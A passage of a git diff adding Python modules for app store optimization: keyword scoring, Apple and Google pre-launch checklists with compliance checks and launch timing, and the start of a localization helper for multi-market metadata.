list(phrase_counts.items()) + all_keywords.sort(key=lambda x: x[1], reverse=True) + + return all_keywords[:50] # Top 50 + + def calculate_keyword_density( + self, + text: str, + target_keywords: List[str] + ) -> Dict[str, float]: + """ + Calculate keyword density in text. + + Args: + text: Text to analyze (title, description) + target_keywords: Keywords to check density for + + Returns: + Dictionary of keyword: density (percentage) + """ + text_lower = text.lower() + total_words = len(text_lower.split()) + + densities = {} + for keyword in target_keywords: + keyword_lower = keyword.lower() + occurrences = text_lower.count(keyword_lower) + density = (occurrences / total_words) * 100 if total_words > 0 else 0 + densities[keyword] = round(density, 2) + + return densities + + def _calculate_competition_level(self, competing_apps: int) -> str: + """Determine competition level based on number of competing apps.""" + if competing_apps < self.COMPETITION_THRESHOLDS['low']: + return 'low' + elif competing_apps < self.COMPETITION_THRESHOLDS['medium']: + return 'medium' + elif competing_apps < self.COMPETITION_THRESHOLDS['high']: + return 'high' + else: + return 'very_high' + + def _categorize_search_volume(self, search_volume: int) -> str: + """Categorize search volume.""" + if search_volume < self.VOLUME_CATEGORIES['very_low']: + return 'very_low' + elif search_volume < self.VOLUME_CATEGORIES['low']: + return 'low' + elif search_volume < self.VOLUME_CATEGORIES['medium']: + return 'medium' + elif search_volume < self.VOLUME_CATEGORIES['high']: + return 'high' + else: + return 'very_high' + + def _calculate_keyword_difficulty( + self, + search_volume: int, + competing_apps: int + ) -> float: + """ + Calculate keyword difficulty score (0-100). + Higher score = harder to rank. + """ + if competing_apps == 0: + return 0.0 + + # Competition factor (0-1) + competition_factor = min(competing_apps / 50000, 1.0) + + # Volume factor (0-1) - higher volume = more difficulty + volume_factor = min(search_volume / 1000000, 1.0) + + # Difficulty score (weighted average) + difficulty = (competition_factor * 0.7 + volume_factor * 0.3) * 100 + + return round(difficulty, 1) + + def _calculate_potential_score( + self, + search_volume: int, + competing_apps: int, + relevance_score: float + ) -> float: + """ + Calculate overall keyword potential (0-100). + Higher score = better opportunity. + """ + # Volume score (0-40 points) + volume_score = min((search_volume / 100000) * 40, 40) + + # Competition score (0-30 points) - inverse relationship + if competing_apps > 0: + competition_score = max(30 - (competing_apps / 500), 0) + else: + competition_score = 30 + + # Relevance score (0-30 points) + relevance_points = relevance_score * 30 + + total_score = volume_score + competition_score + relevance_points + + return round(min(total_score, 100), 1) + + def _generate_recommendation( + self, + potential_score: float, + difficulty_score: float, + relevance_score: float + ) -> str: + """Generate actionable recommendation for keyword.""" + if relevance_score < 0.5: + return "Low relevance - avoid targeting" + + if potential_score >= 70: + return "High priority - target immediately" + elif potential_score >= 50: + if difficulty_score < 50: + return "Good opportunity - include in metadata" + else: + return "Competitive - use in description, not title" + elif potential_score >= 30: + return "Secondary keyword - use for long-tail variations" + else: + return "Low potential - deprioritize" + + def _generate_comparison_summary( + self, + primary_keywords: List[Dict[str, Any]], + secondary_keywords: List[Dict[str, Any]], + long_tail_keywords: List[Dict[str, Any]] + ) -> str: + """Generate summary of keyword comparison.""" + summary_parts = [] + + summary_parts.append( + f"Identified {len(primary_keywords)} high-priority primary keywords." + ) + + if primary_keywords: + top_keyword = primary_keywords[0]['keyword'] + summary_parts.append( + f"Top recommendation: '{top_keyword}' (potential score: {primary_keywords[0]['potential_score']})." + ) + + summary_parts.append( + f"Found {len(secondary_keywords)} secondary keywords for description and metadata." + ) + + summary_parts.append( + f"Discovered {len(long_tail_keywords)} long-tail opportunities with lower competition." + ) + + return " ".join(summary_parts) + + +def analyze_keyword_set(keywords_data: List[Dict[str, Any]]) -> Dict[str, Any]: + """ + Convenience function to analyze a set of keywords. + + Args: + keywords_data: List of keyword data dictionaries + + Returns: + Complete analysis report + """ + analyzer = KeywordAnalyzer() + return analyzer.compare_keywords(keywords_data) diff --git a/skills/app-store-optimization/launch_checklist.py b/skills/app-store-optimization/launch_checklist.py new file mode 100644 index 00000000..38eea18b --- /dev/null +++ b/skills/app-store-optimization/launch_checklist.py @@ -0,0 +1,739 @@ +""" +Launch checklist module for App Store Optimization. +Generates comprehensive pre-launch and update checklists. +""" + +from typing import Dict, List, Any, Optional +from datetime import datetime, timedelta + + +class LaunchChecklistGenerator: + """Generates comprehensive checklists for app launches and updates.""" + + def __init__(self, platform: str = 'both'): + """ + Initialize checklist generator. + + Args: + platform: 'apple', 'google', or 'both' + """ + if platform not in ['apple', 'google', 'both']: + raise ValueError("Platform must be 'apple', 'google', or 'both'") + + self.platform = platform + + def generate_prelaunch_checklist( + self, + app_info: Dict[str, Any], + launch_date: Optional[str] = None + ) -> Dict[str, Any]: + """ + Generate comprehensive pre-launch checklist. + + Args: + app_info: App information (name, category, target_audience) + launch_date: Target launch date (YYYY-MM-DD) + + Returns: + Complete pre-launch checklist + """ + checklist = { + 'app_info': app_info, + 'launch_date': launch_date, + 'checklists': {} + } + + # Generate platform-specific checklists + if self.platform in ['apple', 'both']: + checklist['checklists']['apple'] = self._generate_apple_checklist(app_info) + + if self.platform in ['google', 'both']: + checklist['checklists']['google'] = self._generate_google_checklist(app_info) + + # Add universal checklist items + checklist['checklists']['universal'] = self._generate_universal_checklist(app_info) + + # Generate timeline + if launch_date: + checklist['timeline'] = self._generate_launch_timeline(launch_date) + + # Calculate completion status + checklist['summary'] = self._calculate_checklist_summary(checklist['checklists']) + + return checklist + + def validate_app_store_compliance( + self, + app_data: Dict[str, Any], + platform: str = 'apple' + ) -> Dict[str, Any]: + """ + Validate compliance with app store guidelines. + + Args: + app_data: App data including metadata, privacy policy, etc. + platform: 'apple' or 'google' + + Returns: + Compliance validation report + """ + validation_results = { + 'platform': platform, + 'is_compliant': True, + 'errors': [], + 'warnings': [], + 'recommendations': [] + } + + if platform == 'apple': + self._validate_apple_compliance(app_data, validation_results) + elif platform == 'google': + self._validate_google_compliance(app_data, validation_results) + + # Determine overall compliance + validation_results['is_compliant'] = len(validation_results['errors']) == 0 + + return validation_results + + def create_update_plan( + self, + current_version: str, + planned_features: List[str], + update_frequency: str = 'monthly' + ) -> Dict[str, Any]: + """ + Create update cadence and feature rollout plan. + + Args: + current_version: Current app version + planned_features: List of planned features + update_frequency: 'weekly', 'biweekly', 'monthly', 'quarterly' + + Returns: + Update plan with cadence and feature schedule + """ + # Calculate next versions + next_versions = self._calculate_next_versions( + current_version, + update_frequency, + len(planned_features) + ) + + # Distribute features across versions + feature_schedule = self._distribute_features( + planned_features, + next_versions + ) + + # Generate "What's New" templates + whats_new_templates = [ + self._generate_whats_new_template(version_data) + for version_data in feature_schedule + ] + + return { + 'current_version': current_version, + 'update_frequency': update_frequency, + 'planned_updates': len(feature_schedule), + 'feature_schedule': feature_schedule, + 'whats_new_templates': whats_new_templates, + 'recommendations': self._generate_update_recommendations(update_frequency) + } + + def optimize_launch_timing( + self, + app_category: str, + target_audience: str, + current_date: Optional[str] = None + ) -> Dict[str, Any]: + """ + Recommend optimal launch timing. + + Args: + app_category: App category + target_audience: Target audience description + current_date: Current date (YYYY-MM-DD), defaults to today + + Returns: + Launch timing recommendations + """ + if not current_date: + current_date = datetime.now().strftime('%Y-%m-%d') + + # Analyze launch timing factors + day_of_week_rec = self._recommend_day_of_week(app_category) + seasonal_rec = self._recommend_seasonal_timing(app_category, current_date) + competitive_rec = self._analyze_competitive_timing(app_category) + + # Calculate optimal dates + optimal_dates = self._calculate_optimal_dates( + current_date, + day_of_week_rec, + seasonal_rec + ) + + return { + 'current_date': current_date, + 'optimal_launch_dates': optimal_dates, + 'day_of_week_recommendation': day_of_week_rec, + 'seasonal_considerations': seasonal_rec, + 'competitive_timing': competitive_rec, + 'final_recommendation': self._generate_timing_recommendation( + optimal_dates, + seasonal_rec + ) + } + + def plan_seasonal_campaigns( + self, + app_category: str, + current_month: int = None + ) -> Dict[str, Any]: + """ + Identify seasonal opportunities for ASO campaigns. + + Args: + app_category: App category + current_month: Current month (1-12), defaults to current + + Returns: + Seasonal campaign opportunities + """ + if not current_month: + current_month = datetime.now().month + + # Identify relevant seasonal events + seasonal_opportunities = self._identify_seasonal_opportunities( + app_category, + current_month + ) + + # Generate campaign ideas + campaigns = [ + self._generate_seasonal_campaign(opportunity) + for opportunity in seasonal_opportunities + ] + + return { + 'current_month': current_month, + 'category': app_category, + 'seasonal_opportunities': seasonal_opportunities, + 'campaign_ideas': campaigns, + 'implementation_timeline': self._create_seasonal_timeline(campaigns) + } + + def _generate_apple_checklist(self, app_info: Dict[str, Any]) -> List[Dict[str, Any]]: + """Generate Apple App Store specific checklist.""" + return [ + { + 'category': 'App Store Connect Setup', + 'items': [ + {'task': 'App Store Connect account created', 'status': 'pending'}, + {'task': 'App bundle ID registered', 'status': 'pending'}, + {'task': 'App Privacy declarations completed', 'status': 'pending'}, + {'task': 'Age rating questionnaire completed', 'status': 'pending'} + ] + }, + { + 'category': 'Metadata (Apple)', + 'items': [ + {'task': 'App title (30 chars max)', 'status': 'pending'}, + {'task': 'Subtitle (30 chars max)', 'status': 'pending'}, + {'task': 'Promotional text (170 chars max)', 'status': 'pending'}, + {'task': 'Description (4000 chars max)', 'status': 'pending'}, + {'task': 'Keywords (100 chars, comma-separated)', 'status': 'pending'}, + {'task': 'Category selection (primary + secondary)', 'status': 'pending'} + ] + }, + { + 'category': 'Visual Assets (Apple)', + 'items': [ + {'task': 'App icon (1024x1024px)', 'status': 'pending'}, + {'task': 'Screenshots (iPhone 6.7" required)', 'status': 'pending'}, + {'task': 'Screenshots (iPhone 5.5" required)', 'status': 'pending'}, + {'task': 'Screenshots (iPad Pro 12.9" if iPad app)', 'status': 'pending'}, + {'task': 'App preview video (optional but recommended)', 'status': 'pending'} + ] + }, + { + 'category': 'Technical Requirements (Apple)', + 'items': [ + {'task': 'Build uploaded to App Store Connect', 'status': 'pending'}, + {'task': 'TestFlight testing completed', 'status': 'pending'}, + {'task': 'App tested on required iOS versions', 'status': 'pending'}, + {'task': 'Crash-free rate > 99%', 'status': 'pending'}, + {'task': 'All links in app/metadata working', 'status': 'pending'} + ] + }, + { + 'category': 'Legal & Privacy (Apple)', + 'items': [ + {'task': 'Privacy Policy URL provided', 'status': 'pending'}, + {'task': 'Terms of Service URL (if applicable)', 'status': 'pending'}, + {'task': 'Data collection declarations accurate', 'status': 'pending'}, + {'task': 'Third-party SDKs disclosed', 'status': 'pending'} + ] + } + ] + + def _generate_google_checklist(self, app_info: Dict[str, Any]) -> List[Dict[str, Any]]: + """Generate Google Play Store specific checklist.""" + return [ + { + 'category': 'Play Console Setup', + 'items': [ + {'task': 'Google Play Console account created', 'status': 'pending'}, + {'task': 'Developer profile completed', 'status': 'pending'}, + {'task': 'Payment merchant account linked (if paid app)', 'status': 'pending'}, + {'task': 'Content rating questionnaire completed', 'status': 'pending'} + ] + }, + { + 'category': 'Metadata (Google)', + 'items': [ + {'task': 'App title (50 chars max)', 'status': 'pending'}, + {'task': 'Short description (80 chars max)', 'status': 'pending'}, + {'task': 'Full description (4000 chars max)', 'status': 'pending'}, + {'task': 'Category selection', 'status': 'pending'}, + {'task': 'Tags (up to 5)', 'status': 'pending'} + ] + }, + { + 'category': 'Visual Assets (Google)', + 'items': [ + {'task': 'App icon (512x512px)', 'status': 'pending'}, + {'task': 'Feature graphic (1024x500px)', 'status': 'pending'}, + {'task': 'Screenshots (2-8 required, phone)', 'status': 'pending'}, + {'task': 'Screenshots (tablet, if applicable)', 'status': 'pending'}, + {'task': 'Promo video (YouTube link, optional)', 'status': 'pending'} + ] + }, + { + 'category': 'Technical Requirements (Google)', + 'items': [ + {'task': 'APK/AAB uploaded to Play Console', 'status': 'pending'}, + {'task': 'Internal testing completed', 'status': 'pending'}, + {'task': 'App tested on required Android versions', 'status': 'pending'}, + {'task': 'Target API level meets requirements', 'status': 'pending'}, + {'task': 'All permissions justified', 'status': 'pending'} + ] + }, + { + 'category': 'Legal & Privacy (Google)', + 'items': [ + {'task': 'Privacy Policy URL provided', 'status': 'pending'}, + {'task': 'Data safety section completed', 'status': 'pending'}, + {'task': 'Ads disclosure (if applicable)', 'status': 'pending'}, + {'task': 'In-app purchase disclosure (if applicable)', 'status': 'pending'} + ] + } + ] + + def _generate_universal_checklist(self, app_info: Dict[str, Any]) -> List[Dict[str, Any]]: + """Generate universal (both platforms) checklist.""" + return [ + { + 'category': 'Pre-Launch Marketing', + 'items': [ + {'task': 'Landing page created', 'status': 'pending'}, + {'task': 'Social media accounts setup', 'status': 'pending'}, + {'task': 'Press kit prepared', 'status': 'pending'}, + {'task': 'Beta tester feedback collected', 'status': 'pending'}, + {'task': 'Launch announcement drafted', 'status': 'pending'} + ] + }, + { + 'category': 'ASO Preparation', + 'items': [ + {'task': 'Keyword research completed', 'status': 'pending'}, + {'task': 'Competitor analysis done', 'status': 'pending'}, + {'task': 'A/B test plan created for post-launch', 'status': 'pending'}, + {'task': 'Analytics tracking configured', 'status': 'pending'} + ] + }, + { + 'category': 'Quality Assurance', + 'items': [ + {'task': 'All core features tested', 'status': 'pending'}, + {'task': 'User flows validated', 'status': 'pending'}, + {'task': 'Performance testing completed', 'status': 'pending'}, + {'task': 'Accessibility features tested', 'status': 'pending'}, + {'task': 'Security audit completed', 'status': 'pending'} + ] + }, + { + 'category': 'Support Infrastructure', + 'items': [ + {'task': 'Support email/system setup', 'status': 'pending'}, + {'task': 'FAQ page created', 'status': 'pending'}, + {'task': 'Documentation for users prepared', 'status': 'pending'}, + {'task': 'Team trained on handling reviews', 'status': 'pending'} + ] + } + ] + + def _generate_launch_timeline(self, launch_date: str) -> List[Dict[str, Any]]: + """Generate timeline with milestones leading to launch.""" + launch_dt = datetime.strptime(launch_date, '%Y-%m-%d') + + milestones = [ + { + 'date': (launch_dt - timedelta(days=90)).strftime('%Y-%m-%d'), + 'milestone': '90 days before: Complete keyword research and competitor analysis' + }, + { + 'date': (launch_dt - timedelta(days=60)).strftime('%Y-%m-%d'), + 'milestone': '60 days before: Finalize metadata and visual assets' + }, + { + 'date': (launch_dt - timedelta(days=45)).strftime('%Y-%m-%d'), + 'milestone': '45 days before: Begin beta testing program' + }, + { + 'date': (launch_dt - timedelta(days=30)).strftime('%Y-%m-%d'), + 'milestone': '30 days before: Submit app for review (Apple typically takes 1-2 days, Google instant)' + }, + { + 'date': (launch_dt - timedelta(days=14)).strftime('%Y-%m-%d'), + 'milestone': '14 days before: Prepare launch marketing materials' + }, + { + 'date': (launch_dt - timedelta(days=7)).strftime('%Y-%m-%d'), + 'milestone': '7 days before: Set up analytics and monitoring' + }, + { + 'date': launch_dt.strftime('%Y-%m-%d'), + 'milestone': 'Launch Day: Release app and execute marketing plan' + }, + { + 'date': (launch_dt + timedelta(days=7)).strftime('%Y-%m-%d'), + 'milestone': '7 days after: Monitor metrics, respond to reviews, address critical issues' + }, + { + 'date': (launch_dt + timedelta(days=30)).strftime('%Y-%m-%d'), + 'milestone': '30 days after: Analyze launch metrics, plan first update' + } + ] + + return milestones + + def _calculate_checklist_summary(self, checklists: Dict[str, List[Dict[str, Any]]]) -> Dict[str, Any]: + """Calculate completion summary.""" + total_items = 0 + completed_items = 0 + + for platform, categories in checklists.items(): + for category in categories: + for item in category['items']: + total_items += 1 + if item['status'] == 'completed': + completed_items += 1 + + completion_percentage = (completed_items / total_items * 100) if total_items > 0 else 0 + + return { + 'total_items': total_items, + 'completed_items': completed_items, + 'pending_items': total_items - completed_items, + 'completion_percentage': round(completion_percentage, 1), + 'is_ready_to_launch': completion_percentage == 100 + } + + def _validate_apple_compliance( + self, + app_data: Dict[str, Any], + validation_results: Dict[str, Any] + ) -> None: + """Validate Apple App Store compliance.""" + # Check for required fields + if not app_data.get('privacy_policy_url'): + validation_results['errors'].append("Privacy Policy URL is required") + + if not app_data.get('app_icon'): + validation_results['errors'].append("App icon (1024x1024px) is required") + + # Check metadata character limits + title = app_data.get('title', '') + if len(title) > 30: + validation_results['errors'].append(f"Title exceeds 30 characters ({len(title)})") + + # Warnings for best practices + subtitle = app_data.get('subtitle', '') + if not subtitle: + validation_results['warnings'].append("Subtitle is empty - consider adding for better discoverability") + + keywords = app_data.get('keywords', '') + if len(keywords) < 80: + validation_results['warnings'].append( + f"Keywords field underutilized ({len(keywords)}/100 chars) - add more keywords" + ) + + def _validate_google_compliance( + self, + app_data: Dict[str, Any], + validation_results: Dict[str, Any] + ) -> None: + """Validate Google Play Store compliance.""" + # Check for required fields + if not app_data.get('privacy_policy_url'): + validation_results['errors'].append("Privacy Policy URL is required") + + if not app_data.get('feature_graphic'): + validation_results['errors'].append("Feature graphic (1024x500px) is required") + + # Check metadata character limits + title = app_data.get('title', '') + if len(title) > 50: + validation_results['errors'].append(f"Title exceeds 50 characters ({len(title)})") + + short_desc = app_data.get('short_description', '') + if len(short_desc) > 80: + validation_results['errors'].append(f"Short description exceeds 80 characters ({len(short_desc)})") + + # Warnings + if not short_desc: + validation_results['warnings'].append("Short description is empty") + + def _calculate_next_versions( + self, + current_version: str, + update_frequency: str, + feature_count: int + ) -> List[str]: + """Calculate next version numbers.""" + # Parse current version (assume semantic versioning) + parts = current_version.split('.') + major, minor, patch = int(parts[0]), int(parts[1]), int(parts[2] if len(parts) > 2 else 0) + + versions = [] + for i in range(feature_count): + if update_frequency == 'weekly': + patch += 1 + elif update_frequency == 'biweekly': + patch += 1 + elif update_frequency == 'monthly': + minor += 1 + patch = 0 + else: # quarterly + minor += 1 + patch = 0 + + versions.append(f"{major}.{minor}.{patch}") + + return versions + + def _distribute_features( + self, + features: List[str], + versions: List[str] + ) -> List[Dict[str, Any]]: + """Distribute features across versions.""" + features_per_version = max(1, len(features) // len(versions)) + + schedule = [] + for i, version in enumerate(versions): + start_idx = i * features_per_version + end_idx = start_idx + features_per_version if i < len(versions) - 1 else len(features) + + schedule.append({ + 'version': version, + 'features': features[start_idx:end_idx], + 'release_priority': 'high' if i == 0 else ('medium' if i < len(versions) // 2 else 'low') + }) + + return schedule + + def _generate_whats_new_template(self, version_data: Dict[str, Any]) -> Dict[str, str]: + """Generate What's New template for version.""" + features_list = '\n'.join([f"• {feature}" for feature in version_data['features']]) + + template = f"""Version {version_data['version']} + +{features_list} + +We're constantly improving your experience. Thanks for using [App Name]! + +Have feedback? Contact us at support@[company].com""" + + return { + 'version': version_data['version'], + 'template': template + } + + def _generate_update_recommendations(self, update_frequency: str) -> List[str]: + """Generate recommendations for update strategy.""" + recommendations = [] + + if update_frequency == 'weekly': + recommendations.append("Weekly updates show active development but ensure quality doesn't suffer") + elif update_frequency == 'monthly': + recommendations.append("Monthly updates are optimal for most apps - balance features and stability") + + recommendations.extend([ + "Include bug fixes in every update", + "Update 'What's New' section with each release", + "Respond to reviews mentioning fixed issues" + ]) + + return recommendations + + def _recommend_day_of_week(self, app_category: str) -> Dict[str, Any]: + """Recommend best day of week to launch.""" + # General recommendations based on category + if app_category.lower() in ['games', 'entertainment']: + return { + 'recommended_day': 'Thursday', + 'rationale': 'People download entertainment apps before weekend' + } + elif app_category.lower() in ['productivity', 'business']: + return { + 'recommended_day': 'Tuesday', + 'rationale': 'Business users most active mid-week' + } + else: + return { + 'recommended_day': 'Wednesday', + 'rationale': 'Mid-week provides good balance and review potential' + } + + def _recommend_seasonal_timing(self, app_category: str, current_date: str) -> Dict[str, Any]: + """Recommend seasonal timing considerations.""" + current_dt = datetime.strptime(current_date, '%Y-%m-%d') + month = current_dt.month + + # Avoid certain periods + avoid_periods = [] + if month == 12: + avoid_periods.append("Late December - low user engagement during holidays") + if month in [7, 8]: + avoid_periods.append("Summer months - some categories see lower engagement") + + # Recommend periods + good_periods = [] + if month in [1, 9]: + good_periods.append("New Year/Back-to-school - high user engagement") + if month in [10, 11]: + good_periods.append("Pre-holiday season - good for shopping/gift apps") + + return { + 'current_month': month, + 'avoid_periods': avoid_periods, + 'good_periods': good_periods + } + + def _analyze_competitive_timing(self, app_category: str) -> Dict[str, str]: + """Analyze competitive timing considerations.""" + return { + 'recommendation': 'Research competitor launch schedules in your category', + 'strategy': 'Avoid launching same week as major competitor updates' + } + + def _calculate_optimal_dates( + self, + current_date: str, + day_rec: Dict[str, Any], + seasonal_rec: Dict[str, Any] + ) -> List[str]: + """Calculate optimal launch dates.""" + current_dt = datetime.strptime(current_date, '%Y-%m-%d') + + # Find next occurrence of recommended day + target_day = day_rec['recommended_day'] + days_map = {'Monday': 0, 'Tuesday': 1, 'Wednesday': 2, 'Thursday': 3, 'Friday': 4} + target_day_num = days_map.get(target_day, 2) + + days_ahead = (target_day_num - current_dt.weekday()) % 7 + if days_ahead == 0: + days_ahead = 7 + + next_target_date = current_dt + timedelta(days=days_ahead) + + optimal_dates = [ + next_target_date.strftime('%Y-%m-%d'), + (next_target_date + timedelta(days=7)).strftime('%Y-%m-%d'), + (next_target_date + timedelta(days=14)).strftime('%Y-%m-%d') + ] + + return optimal_dates + + def _generate_timing_recommendation( + self, + optimal_dates: List[str], + seasonal_rec: Dict[str, Any] + ) -> str: + """Generate final timing recommendation.""" + if seasonal_rec['avoid_periods']: + return f"Consider launching in {optimal_dates[1]} to avoid {seasonal_rec['avoid_periods'][0]}" + elif seasonal_rec['good_periods']: + return f"Launch on {optimal_dates[0]} to capitalize on {seasonal_rec['good_periods'][0]}" + else: + return f"Recommended launch date: {optimal_dates[0]}" + + def _identify_seasonal_opportunities( + self, + app_category: str, + current_month: int + ) -> List[Dict[str, Any]]: + """Identify seasonal opportunities for category.""" + opportunities = [] + + # Universal opportunities + if current_month == 1: + opportunities.append({ + 'event': 'New Year Resolutions', + 'dates': 'January 1-31', + 'relevance': 'high' if app_category.lower() in ['health', 'fitness', 'productivity'] else 'medium' + }) + + if current_month in [11, 12]: + opportunities.append({ + 'event': 'Holiday Shopping Season', + 'dates': 'November-December', + 'relevance': 'high' if app_category.lower() in ['shopping', 'gifts'] else 'low' + }) + + # Category-specific + if app_category.lower() == 'education' and current_month in [8, 9]: + opportunities.append({ + 'event': 'Back to School', + 'dates': 'August-September', + 'relevance': 'high' + }) + + return opportunities + + def _generate_seasonal_campaign(self, opportunity: Dict[str, Any]) -> Dict[str, Any]: + """Generate campaign idea for seasonal opportunity.""" + return { + 'event': opportunity['event'], + 'campaign_idea': f"Create themed visuals and messaging for {opportunity['event']}", + 'metadata_updates': 'Update app description and screenshots with seasonal themes', + 'promotion_strategy': 'Consider limited-time features or discounts' + } + + def _create_seasonal_timeline(self, campaigns: List[Dict[str, Any]]) -> List[str]: + """Create implementation timeline for campaigns.""" + return [ + f"30 days before: Plan {campaign['event']} campaign strategy" + for campaign in campaigns + ] + + +def generate_launch_checklist( + platform: str, + app_info: Dict[str, Any], + launch_date: Optional[str] = None +) -> Dict[str, Any]: + """ + Convenience function to generate launch checklist. + + Args: + platform: Platform ('apple', 'google', or 'both') + app_info: App information + launch_date: Target launch date + + Returns: + Complete launch checklist + """ + generator = LaunchChecklistGenerator(platform) + return generator.generate_prelaunch_checklist(app_info, launch_date) diff --git a/skills/app-store-optimization/localization_helper.py b/skills/app-store-optimization/localization_helper.py new file mode 100644 index 00000000..c47003ca --- /dev/null +++ b/skills/app-store-optimization/localization_helper.py @@ -0,0 +1,588 @@ +""" +Localization helper module for App Store Optimization. +Manages multi-language ASO optimization strategies. +""" + +from typing import Dict, List, Any, Optional, Tuple + + +class LocalizationHelper: + """Helps manage multi-language ASO optimization.""" + + # Priority markets by language (based on app store revenue and user base) + PRIORITY_MARKETS = { + 'tier_1': [ + {'language': 'en-US', 'market': 'United States', 'revenue_share': 0.25}, + {'language': 'zh-CN', 'market': 'China', 'revenue_share': 0.20}, + {'language': 'ja-JP', 'market': 'Japan', 'revenue_share': 0.10}, + {'language': 'de-DE', 'market': 'Germany', 'revenue_share': 0.08}, + {'language': 'en-GB', 'market': 'United Kingdom', 'revenue_share': 0.06} + ], + 'tier_2': [ + {'language': 'fr-FR', 'market': 'France', 'revenue_share': 0.05}, + {'language': 'ko-KR', 'market': 'South Korea', 'revenue_share': 0.05}, + {'language': 'es-ES', 'market': 'Spain', 'revenue_share': 0.03}, + {'language': 'it-IT', 'market': 'Italy', 'revenue_share': 0.03}, + {'language': 'pt-BR', 'market': 'Brazil', 'revenue_share': 0.03} + ], + 'tier_3': [ + {'language': 'ru-RU', 'market': 'Russia', 'revenue_share': 0.02}, + {'language': 'es-MX', 'market': 'Mexico', 'revenue_share': 0.02}, + {'language': 'nl-NL', 'market': 'Netherlands', 'revenue_share': 0.02}, + {'language': 'sv-SE', 'market': 'Sweden', 'revenue_share': 0.01}, + {'language': 'pl-PL', 'market': 'Poland', 'revenue_share': 0.01} + ] + } + + # Character limit multipliers by language (some languages need more/less space) + CHAR_MULTIPLIERS = { + 'en': 1.0, + 'zh': 0.6, # Chinese characters are more compact + 'ja': 0.7, # Japanese uses kanji + 'ko': 0.8, # Korean is relatively compact + 'de': 1.3, # German words are typically longer + 'fr': 1.2, # French tends to be longer + 'es': 1.1, # Spanish slightly longer + 'pt': 1.1, # Portuguese similar to Spanish + 'ru': 1.1, # Russian similar length + 'ar': 1.0, # Arabic varies + 'it': 1.1 # Italian similar to Spanish + } + + def __init__(self, app_category: str = 'general'): + """ + Initialize localization helper. + + Args: + app_category: App category to prioritize relevant markets + """ + self.app_category = app_category + self.localization_plans = [] + + def identify_target_markets( + self, + current_market: str = 'en-US', + budget_level: str = 'medium', + target_market_count: int = 5 + ) -> Dict[str, Any]: + """ + Recommend priority markets for localization. + + Args: + current_market: Current/primary market + budget_level: 'low', 'medium', or 'high' + target_market_count: Number of markets to target + + Returns: + Prioritized market recommendations + """ + # Determine tier priorities based on budget + if budget_level == 'low': + priority_tiers = ['tier_1'] + max_markets = min(target_market_count, 3) + elif budget_level == 'medium': + priority_tiers = ['tier_1', 'tier_2'] + max_markets = min(target_market_count, 8) + else: # high budget + priority_tiers = ['tier_1', 'tier_2', 'tier_3'] + max_markets = target_market_count + + # Collect markets from priority tiers + recommended_markets = [] + for tier in priority_tiers: + for market in self.PRIORITY_MARKETS[tier]: + if market['language'] != current_market: + recommended_markets.append({ + **market, + 'tier': tier, + 'estimated_translation_cost': self._estimate_translation_cost( + market['language'] + ) + }) + + # Sort by revenue share and limit + recommended_markets.sort(key=lambda x: x['revenue_share'], reverse=True) + recommended_markets = recommended_markets[:max_markets] + + # Calculate potential ROI + total_potential_revenue_share = sum(m['revenue_share'] for m in recommended_markets) + + return { + 'recommended_markets': recommended_markets, + 'total_markets': len(recommended_markets), + 'estimated_total_revenue_lift': f"{total_potential_revenue_share*100:.1f}%", + 'estimated_cost': self._estimate_total_localization_cost(recommended_markets), + 'implementation_priority': self._prioritize_implementation(recommended_markets) + } + + def translate_metadata( + self, + source_metadata: Dict[str, str], + source_language: str, + target_language: str, + platform: str = 'apple' + ) -> Dict[str, Any]: + """ + Generate localized metadata with character limit considerations. + + Args: + source_metadata: Original metadata (title, description, etc.) + source_language: Source language code (e.g., 'en') + target_language: Target language code (e.g., 'es') + platform: 'apple' or 'google' + + Returns: + Localized metadata with character limit validation + """ + # Get character multiplier + target_lang_code = target_language.split('-')[0] + char_multiplier = self.CHAR_MULTIPLIERS.get(target_lang_code, 1.0) + + # Platform-specific limits + if platform == 'apple': + limits = {'title': 30, 'subtitle': 30, 'description': 4000, 'keywords': 100} + else: + limits = {'title': 50, 'short_description': 80, 'description': 4000} + + localized_metadata = {} + warnings = [] + + for field, text in source_metadata.items(): + if field not in limits: + continue + + # Estimate target length + estimated_length = int(len(text) * char_multiplier) + limit = limits[field] + + localized_metadata[field] = { + 'original_text': text, + 'original_length': len(text), + 'estimated_target_length': estimated_length, + 'character_limit': limit, + 'fits_within_limit': estimated_length <= limit, + 'translation_notes': self._get_translation_notes( + field, + target_language, + estimated_length, + limit + ) + } + + if estimated_length > limit: + warnings.append( + f"{field}: Estimated length ({estimated_length}) may exceed limit ({limit}) - " + f"condensing may be required" + ) + + return { + 'source_language': source_language, + 'target_language': target_language, + 'platform': platform, + 'localized_fields': localized_metadata, + 'character_multiplier': char_multiplier, + 'warnings': warnings, + 'recommendations': self._generate_translation_recommendations( + target_language, + warnings + ) + } + + def adapt_keywords( + self, + source_keywords: List[str], + source_language: str, + target_language: str, + target_market: str + ) -> Dict[str, Any]: + """ + Adapt keywords for target market (not just direct translation). + + Args: + source_keywords: Original keywords + source_language: Source language code + target_language: Target language code + target_market: Target market (e.g., 'France', 'Japan') + + Returns: + Adapted keyword recommendations + """ + # Cultural adaptation considerations + cultural_notes = self._get_cultural_keyword_considerations(target_market) + + # Search behavior differences + search_patterns = self._get_search_patterns(target_market) + + adapted_keywords = [] + for keyword in source_keywords: + adapted_keywords.append({ + 'source_keyword': keyword, + 'adaptation_strategy': self._determine_adaptation_strategy( + keyword, + target_market + ), + 'cultural_considerations': cultural_notes.get(keyword, []), + 'priority': 'high' if keyword in source_keywords[:3] else 'medium' + }) + + return { + 'source_language': source_language, + 'target_language': target_language, + 'target_market': target_market, + 'adapted_keywords': adapted_keywords, + 'search_behavior_notes': search_patterns, + 'recommendations': [ + 'Use native speakers for keyword research', + 'Test keywords with local users before finalizing', + 'Consider local competitors\' keyword strategies', + 'Monitor search trends in target market' + ] + } + + def validate_translations( + self, + translated_metadata: Dict[str, str], + target_language: str, + platform: str = 'apple' + ) -> Dict[str, Any]: + """ + Validate translated metadata for character limits and quality. + + Args: + translated_metadata: Translated text fields + target_language: Target language code + platform: 'apple' or 'google' + + Returns: + Validation report + """ + # Platform limits + if platform == 'apple': + limits = {'title': 30, 'subtitle': 30, 'description': 4000, 'keywords': 100} + else: + limits = {'title': 50, 'short_description': 80, 'description': 4000} + + validation_results = { + 'is_valid': True, + 'field_validations': {}, + 'errors': [], + 'warnings': [] + } + + for field, text in translated_metadata.items(): + if field not in limits: + continue + + actual_length = len(text) + limit = limits[field] + is_within_limit = actual_length <= limit + + validation_results['field_validations'][field] = { + 'text': text, + 'length': actual_length, + 'limit': limit, + 'is_valid': 